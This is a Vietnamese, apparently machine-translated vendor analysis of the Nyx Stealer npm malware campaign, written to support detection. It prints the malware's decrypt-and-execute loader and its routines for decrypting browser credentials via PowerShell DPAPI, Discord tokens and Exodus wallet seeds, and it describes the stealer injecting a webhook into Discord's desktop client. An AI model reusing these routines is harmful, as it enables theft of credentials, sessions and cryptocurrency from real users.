npm Infostealer

Phát hiện mới về phần mềm đánh cắp thông tin npm: Nyx ​​Stealer chiếm quyền kiểm soát các phiên Discord

TL; DR

Nhóm nghiên cứu bảo mật Xygeni Đã phát hiện một chiến dịch đánh cắp thông tin npm tinh vi được thực thi thông qua hai gói phần mềm độc hại: consolelofyselfbot-lofy.

Phiên bản mới nhất (consolelofy@1.3.0) Nhúng một tải trọng được mã hóa AES 216KB, được giải mã trong quá trình chạy và thực thi thông qua vm.runInNewContext()Vì logic độc hại được mã hóa hoàn toàn, các công cụ quét tĩnh dựa vào việc kiểm tra chuỗi ký tự không thể quan sát được hành vi của nó cho đến khi được thực thi.

Sau khi được giải mã, dữ liệu được gắn nhãn nội bộ. Nyx Stealer, mục tiêu:

  • Mã xác thực Discord
  • Hơn 50 kho lưu trữ thông tin đăng nhập trình duyệt
  • Hơn 90 tiện ích mở rộng ví tiền điện tử
  • Các buổi chơi Roblox, Instagram, Spotify, Steam, Telegram và TikTok
  • Lưu trữ trạng thái của ứng dụng Discord trên máy tính để bàn

Tất cả 20 phiên bản thuộc cả hai gói phần mềm đều được báo cáo và xác nhận là độc hại.

Tổng quan kỹ thuật về Infostealer của npm

Không giống như các phần mềm độc hại cài đặt truyền thống, chiến dịch này dựa vào... thời gian chạy mô hình giải mã.

Có:

  • Không có ý đồ xấu preinstall or postinstall hooks
  • Không có cuộc gọi mạng nào rõ ràng trong quá trình cài đặt.
  • Không có logic thu thập thông tin xác thực dạng văn bản thuần túy.

Mã độc được kích hoạt khi mô-đun được nhập. Toàn bộ nội dung độc hại được mã hóa và chỉ xuất hiện trong bộ nhớ khi thực thi.

Thiết kế này đặc biệt tránh bị phát hiện trong quá trình cài đặt gói phần mềm.

Cách thức hoạt động thực tế của Infostealer từ npm

Trước khi phân tích xem Nyx Stealer đánh cắp những gì, chúng ta cần hiểu rõ điều đó. cách thức thực thi.

Logic độc hại bên trong phần mềm đánh cắp thông tin npm này tuân theo một mô hình nhất quán:

Một trình tải nhỏ giải mã một khối lượng dữ liệu được mã hóa lớn và thực thi nó một cách động bên trong ngữ cảnh máy ảo Node.js.

Thiết kế này là có chủ đích. Kẻ tấn công không chỉ che giấu chức năng bằng cách làm rối mã nguồn, mà còn... Loại bỏ hoàn toàn mã độc hại khỏi khả năng hiển thị tĩnh..

Mô hình thực thi cấp cao

Nhìn chung, lớp bao bọc thực hiện bốn việc:

  • Tạo khóa AES từ mật khẩu được mã hóa cứng bằng thuật toán SHA-256.
  • Giải mã một đoạn văn bản mã hóa hex lớn bằng thuật toán AES-256-CBC.
  • Thực thi mã JavaScript đã được giải mã bằng cách sử dụng vm.runInNewContext()
  • Cung cấp một môi trường biệt lập nhưng vẫn cho phép sử dụng các chức năng mạnh mẽ của thời gian chạy.

Tóm tắt kỹ thuật cốt lõi

Thành phần Cấu hình / Giá trị
Thuật toán AES-256-CBC
Dẫn xuất chính SHA-256 (mật khẩu)
Vectơ khởi tạo (IV) 16 byte 0x00
Thực hiện vm.runInNewContext(decrypted, sandbox)

Điều quan trọng là, hộp cát phải đi qua:

  • require
  • process
  • Buffer
  • bộ hẹn giờ
  • xuất mô-đun

Điều này có nghĩa là dữ liệu đã được giải mã vẫn giữ nguyên đầy đủ khả năng:

  • Quá trình sinh
  • Đọc và ghi tập tin
  • Thực hiện cuộc gọi mạng
  • Sửa đổi các ứng dụng cục bộ

Đây không phải là máy ảo bị hạn chế. Đây là máy ảo được sử dụng như một công cụ trung gian thực thi.

Mô hình mã hóa thời gian chạy (Cơ chế thực thi cốt lõi)

Máy xúc này nhỏ.
Kẻ độc ác thì không.

Dưới đây là mô hình thực thi được tìm thấy bên trong gói:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Tại sao vấn đề này

Dữ liệu đã được giải mã:

  • Liệu không tồn tại dưới dạng văn bản thuần túy bên trong gói npm.
  • Vô hình đối với người đơn giản grep hoặc quét chuỗi tĩnh
  • Chỉ được hiện thực hóa trong bộ nhớ khi thực thi.
  • Thực thi với đầy đủ các khả năng của môi trường chạy Node.js

Sự kết hợp giữa AES và việc thực thi VM này là một dấu hiệu hành vi mạnh mẽ của... npm infostealer đang cố gắng né tránh việc kiểm tra tĩnh..

Nói cách khác:

Nếu bạn quét cây mã nguồn của gói phần mềm, bạn sẽ không thấy phần mềm đánh cắp mã nguồn.
Bạn thấy một bộ giải mã.

Điều gì xảy ra sau khi giải mã?

Sau khi được kích hoạt, Nyx Stealer sẽ khởi động các đợt thu thập dữ liệu song song.

Đợt 1: Trích xuất thông tin đăng nhập trình duyệt

Phần mềm độc hại:

  • Tải xuống môi trường chạy Python từ NuGet CDN.
  • Cài đặt thư viện mật mã
  • Trích xuất kho lưu trữ thông tin xác thực dựa trên Chromium
  • Giải mã các bí mật được bảo vệ bởi DPAPI

Thay vì biên dịch các liên kết gốc, nó tận dụng PowerShell để gọi trực tiếp DPAPI của Windows.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Cách tiếp cận này:

  • Tránh các lỗi biên dịch.
  • Sử dụng các API mã hóa gốc của Windows.
  • Tích hợp vào các công cụ quản trị.

Đây là quá trình giải mã thông tin xác thực ở cấp độ hệ điều hành, chứ không phải là thu thập dữ liệu tự động.

Đợt 2: Giải mã mã thông báo Discord

Kẻ đánh cắp này hiểu rõ giao thức. Nó hiểu định dạng mã thông báo được mã hóa của Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Luồng hoạt động:

  • Trích xuất khóa chính từ Discord. Local State
  • Giải mã khóa chính thông qua DPAPI
  • Giải mã các khối mã thông báo AES-GCM
  • Xác thực mã thông báo dựa trên API của Discord.
  • Làm giàu thêm với Nitro, huy hiệu, thông tin thanh toán

Đây không phải là việc đánh cắp thông tin đăng nhập thông thường. Đây là hành vi chiếm đoạt phiên kết nối có nhận biết giao thức.

Đợt 3: Nhắm mục tiêu vào ví tiền điện tử

Công cụ npm infostealer liệt kê:

  • Hơn 90 tiện ích mở rộng ví trên trình duyệt
  • 27 ví điện tử để bàn
  • Đường dẫn ví lạnh
  • Tệp hạt giống Xuất Hành

Ví dụ về nỗ lực giải mã hạt giống:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Nếu thành công, việc xâm phạm ví điện tử sẽ diễn ra ngay lập tức và không thể đảo ngược.

Đây là phương thức kiếm tiền có giá trị cao nhất của chiến dịch.

Duy trì quyền truy cập thông qua tính năng chèn mã độc vào Discord Desktop.

Sau khi thu thập thông tin đăng nhập, Nyx Stealer cố gắng duy trì quyền truy cập bằng cách sửa đổi tệp cục bộ. Discord khách hàng.

Mục tiêu:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

trình tự hoạt động

Phần mềm đánh cắp thông tin thực hiện các bước sau:

  • Chấm dứt các tiến trình Discord đang chạy.
  • Tìm các phiên bản Discord đã cài đặt (Stable, Canary, PTB)
  • Ghi đè discord_desktop_core/index.js
  • Chèn logic webhook do kẻ tấn công điều khiển
  • Khởi động lại Discord

Điều này đảm bảo rằng các phiên Discord trong tương lai sẽ tự động rò rỉ mã xác thực mới.

Điều quan trọng là, khả năng duy trì này không dựa vào các tác vụ theo lịch trình hoặc sửa đổi registry. Nó tận dụng việc sửa đổi mã ở cấp độ ứng dụng, một phương pháp kín đáo hơn.

Ngay cả khi gói npm độc hại đó được gỡ bỏ sau này, ứng dụng Discord vẫn bị xâm phạm.

So sánh kỹ thuật: Selfbot hợp pháp so với npm Infostealer

Thành phần Thư viện hợp pháp Nyx npm Infostealer
Encryption Không áp dụng Toàn bộ dữ liệu được mã hóa AES
Máy ảo thời gian chạy Không yêu cầu vm.runInNewContext thực hiện
Quyền truy cập thông tin xác thực Chỉ API Discord Trình duyệt, ví điện tử, DPAPI
Tải xuống từ bên ngoài Không Môi trường chạy Python thông qua NuGet
Persistence Không Chèn mã vào ứng dụng Discord
lưu hành tiền tệ Tự động hóa bot Bán lại chứng chỉ

Chỉ riêng lớp mã hóa thôi đã đủ để phân biệt chiến dịch này với một dự án mã nguồn mở thông thường.

Một selfbot Discord hợp pháp không có lý do gì để mã hóa toàn bộ mã nguồn, khởi chạy PowerShell để truy cập DPAPI, tải xuống các runtime bên ngoài hoặc sửa đổi các thành phần bên trong của ứng dụng máy tính để bàn. Khi những khả năng đó xuất hiện trong một thư viện phụ thuộc tuyên bố tự động hóa các tương tác Discord, sự không tương thích về kiến ​​trúc trở nên không thể bỏ qua.

Từ góc độ điều tra, công cụ đánh cắp thông tin npm này để lại dấu vết trên nhiều lớp. Tuy nhiên, những dấu hiệu đáng tin cậy nhất không phải là các URL được mã hóa cứng hoặc đường dẫn tệp cụ thể, vì chúng có thể thay đổi giữa các phiên bản. Thay vào đó, các tín hiệu bền vững là các tín hiệu mang tính cấu trúc.

Ở cấp độ gói phần mềm, dấu hiệu cảnh báo mạnh nhất là sự kết hợp giữa tải trọng mã hóa lớn và trình bao bọc giải mã thời gian chạy được thực thi ngay lập tức thông qua vm.runInNewContext()Mặc dù mã hóa tự nó không phải là hành vi độc hại, nhưng việc sử dụng giải mã AES sau đó thực thi máy ảo động bên trong một gói tiện ích của Discord là điều hết sức bất thường.

Ở cấp độ máy chủ, các mẫu đáng ngờ bao gồm hoạt động giải mã DPAPI bất thường, việc tạo ra tiến trình từ ngữ cảnh phụ thuộc Node.js và việc sửa đổi các tệp ứng dụng cục bộ mà các thư viện bên thứ ba không bao giờ được phép thay đổi. Tương tự, ở lớp mạng, việc giao tiếp kiểu webhook hướng ra ngoài được khởi tạo bởi một phụ thuộc phát triển là một bất thường đáng chú ý khác.

Nói cách khác, bề mặt phát hiện không phải là một chỉ báo duy nhất về sự xâm phạm. Chính sự tương quan giữa mã hóa, thực thi thời gian chạy, truy cập thông tin xác thực và hành vi duy trì mới cho thấy mối đe dọa.

Phát hiện và giảm thiểu rủi ro với Xygeni

npm Infostealer

Phần mềm đánh cắp thông tin npm này đã được xác định bởi Hệ thống cảnh báo sớm phần mềm độc hại (MEW) của Xygeni Thông qua sự tương quan hành vi nhiều lớp thay vì chỉ đơn giản là so khớp chữ ký.

Thay vì tìm kiếm các chuỗi độc hại đã biết, MEW đánh giá các bất thường về cấu trúc trên toàn bộ cây mã nguồn. Trong trường hợp này, việc phát hiện xuất phát từ sự hội tụ của một số tín hiệu: một quy trình giải mã AES được nhúng trong điểm vào của mô-đun, việc thực thi ngay lập tức bên trong ngữ cảnh máy ảo và sự không khớp rõ ràng giữa khả năng và mục đích.

Điều quan trọng cần lưu ý là, không một tín hiệu nào trong số này tự nó chứng minh được ý định xấu. Tuy nhiên, khi được phân tích cùng nhau, chúng cho thấy nỗ lực che giấu hành vi trong quá trình thực thi. Cách tiếp cận nhiều lớp này giúp giảm đáng kể các cảnh báo sai trong khi vẫn xác định được các mối đe dọa chuỗi cung ứng có độ tin cậy cao.

Hơn nữa, trường hợp này minh họa tại sao việc kiểm tra trong quá trình cài đặt thôi là chưa đủ. Logic độc hại không nằm trong các tập lệnh vòng đời. Nó chỉ được kích hoạt sau khi mô-đun được tải và chỉ trở nên rõ ràng khi được giải mã trong bộ nhớ. Do đó, phòng thủ hiệu quả đòi hỏi phân tích có tính đến mã hóa, nhận dạng mẫu hành vi và giám sát liên tục các phụ thuộc vượt ra ngoài các sự kiện cài đặt.

Gỡ bỏ registry là hành động phản ứng. Phân tích dựa trên thời gian thực thi là hành động phòng ngừa.

Vì sao phần mềm đánh cắp thông tin npm này lại quan trọng

Nyx Stealer thể hiện sự tiến hóa về cấu trúc trong các phần mềm độc hại dựa trên npm.

Trước đây, nhiều gói phần mềm độc hại dựa vào các tập lệnh cài đặt dễ thấy hoặc các điểm cuối đánh cắp thông tin đăng nhập rõ ràng. Ngược lại, chiến dịch này mã hóa tải trọng của nó, trì hoãn việc thực thi cho đến khi chạy, tận dụng các API hệ điều hành hợp pháp và thiết lập khả năng tồn tại lâu dài bên trong các ứng dụng đáng tin cậy.

Do đó, kẻ tấn công không cần phải khai thác trực tiếp cơ sở hạ tầng npm. Thay vào đó, cuộc tấn công thành công vì việc cài đặt thư viện phụ thuộc ngụ ý sự tin tưởng. Các nhà phát triển cho rằng việc nhập một thư viện là một thao tác an toàn, đặc biệt khi nó được xem như một phiên bản sao chép (fork) hợp lý của một công cụ phổ biến.

Khi các hệ sinh thái tiếp tục phát triển và các nhánh rẽ (fork) lan rộng, ranh giới tin cậy ngầm định đó trở thành một bề mặt tấn công ngày càng hấp dẫn. Do đó, việc phòng chống các phần mềm đánh cắp thông tin npm hiện đại đòi hỏi phải nhận diện các mô hình kiến ​​trúc hơn là tìm kiếm các chuỗi tĩnh.

Tóm lại, chiến dịch này củng cố một bài học quan trọng về software supply chain securityNhững mối đe dọa nguy hiểm nhất không phải là những mối đe dọa thoạt nhìn có vẻ độc hại, mà là những mối đe dọa thoạt nhìn có vẻ hợp pháp về mặt cấu trúc cho đến khi hoạt động thực tế bộc lộ bản chất thật của chúng.

sca-tools-software-composition-analysis-tools
Ưu tiên, khắc phục và bảo mật các rủi ro phần mềm của bạn
Đăng ký tài khoản miễn phí ngay.
Không cần thẻ tín dụng.

Bảo mật quá trình phát triển và phân phối phần mềm của bạn.

với bộ sản phẩm Xygeni